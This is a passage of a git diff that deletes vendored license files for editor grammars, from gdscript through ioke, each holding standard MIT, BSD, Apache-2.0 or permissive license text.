index d3baa2301b..0000000000
--- a/vendor/licenses/grammar/gdscript.txt
+++ /dev/null
@@ -1,12 +0,0 @@
----
-type: grammar
-name: gdscript
-license: mit
----
-Copyright (c) 2016 Michael Alexander
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/gettext.tmbundle.txt b/vendor/licenses/grammar/gettext.tmbundle.txt
deleted file mode 100644
index f48c2c382f..0000000000
--- a/vendor/licenses/grammar/gettext.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: gettext.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/gnuplot-tmbundle.txt b/vendor/licenses/grammar/gnuplot-tmbundle.txt
deleted file mode 100644
index 4d7dcdf557..0000000000
--- a/vendor/licenses/grammar/gnuplot-tmbundle.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: gnuplot-tmbundle
-license: mit
----
-Copyright 2008 Matt Foster
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/go-tmbundle.txt b/vendor/licenses/grammar/go-tmbundle.txt
deleted file mode 100644
index af4ad437c5..0000000000
--- a/vendor/licenses/grammar/go-tmbundle.txt
+++ /dev/null
@@ -1,17 +0,0 @@
----
-type: grammar
-name: go-tmbundle
-license: bsd-3-clause
----
-Copyright (c) 2009, Jim Dovey
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
-
-- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
-- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
-- Neither the name of the copyright holder nor the names of the software's contributors may be used to endorse or promote products derived from this software without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-Portions based on Allan Odgaard's C bundle for TextMate.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/grace.txt b/vendor/licenses/grammar/grace.txt
deleted file mode 100644
index 4a3fd0d578..0000000000
--- a/vendor/licenses/grammar/grace.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: grace
-license: mit
----
-Copyright (c) 2011-2016 Timothy Jones
-
-Permission is hereby granted, free of charge, to any person obtaining a
-copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be included
-in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
-OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/gradle.tmbundle.txt b/vendor/licenses/grammar/gradle.tmbundle.txt
deleted file mode 100644
index 47343815de..0000000000
--- a/vendor/licenses/grammar/gradle.tmbundle.txt
+++ /dev/null
@@ -1,180 +0,0 @@
----
-type: grammar
-name: gradle.tmbundle
-license: apache-2.0
----
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-      
diff --git a/vendor/licenses/grammar/graphviz.tmbundle.txt b/vendor/licenses/grammar/graphviz.tmbundle.txt
deleted file mode 100644
index d9c813a320..0000000000
--- a/vendor/licenses/grammar/graphviz.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: graphviz.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/groovy.tmbundle.txt b/vendor/licenses/grammar/groovy.tmbundle.txt
deleted file mode 100644
index 1fd784a651..0000000000
--- a/vendor/licenses/grammar/groovy.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: groovy.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/haskell.tmbundle.txt b/vendor/licenses/grammar/haskell.tmbundle.txt
deleted file mode 100644
index 12ab34cf1c..0000000000
--- a/vendor/licenses/grammar/haskell.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: haskell.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/haxe-sublime-bundle.txt b/vendor/licenses/grammar/haxe-sublime-bundle.txt
deleted file mode 100644
index bec75016f9..0000000000
--- a/vendor/licenses/grammar/haxe-sublime-bundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: haxe-sublime-bundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Clément Charmet
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/html.tmbundle.txt b/vendor/licenses/grammar/html.tmbundle.txt
deleted file mode 100644
index 13adfdec1a..0000000000
--- a/vendor/licenses/grammar/html.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: html.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/idl.tmbundle.txt b/vendor/licenses/grammar/idl.tmbundle.txt
deleted file mode 100644
index aa001f0c81..0000000000
--- a/vendor/licenses/grammar/idl.tmbundle.txt
+++ /dev/null
@@ -1,33 +0,0 @@
----
-type: grammar
-name: idl.tmbundle
-license: bsd-3-clause
----
-This library is released under a BSD-type license.
-
-Copyright (c) 2007-2013, Michael Galloy <mgalloy@idldev.com>
-
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-    a. Redistributions of source code must retain the above copyright notice,
-       this list of conditions and the following disclaimer.
-    b. Redistributions in binary form must reproduce the above copyright
-       notice, this list of conditions and the following disclaimer in the
-       documentation and/or other materials provided with the distribution.
-    c. Neither the name of Michael Galloy nor the names of its contributors
-       may be used to endorse or promote products derived from this software
-       without specific prior written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
-SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
-CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
-OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/idris.txt b/vendor/licenses/grammar/idris.txt
deleted file mode 100644
index 07b81a8040..0000000000
--- a/vendor/licenses/grammar/idris.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: idris
-license: mit
----
-The MIT License
-
-Copyright (c) 2013-2015 Alexey Alekhin, Niklas Larsson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/ini.tmbundle.txt b/vendor/licenses/grammar/ini.tmbundle.txt
deleted file mode 100644
index 48add2b04f..0000000000
--- a/vendor/licenses/grammar/ini.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: ini.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/io.tmbundle.txt b/vendor/licenses/grammar/io.tmbundle.txt
deleted file mode 100644
index a28b1462a9..0000000000
--- a/vendor/licenses/grammar/io.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: io.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/ioke-outdated.txt b/vendor/licenses/grammar/ioke-outdated.txt
deleted file mode 100644
index 8044790a43..0000000000
--- a/vendor/licenses/grammar/ioke-outdated.txt
+++ /dev/null
@@ -1,40 +0,0 @@
----
-type: grammar
-name: ioke-outdated
-license: mit
----
-Copyright (c) 2008-2009 Ola Bini, ola.bini@gmail.com
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
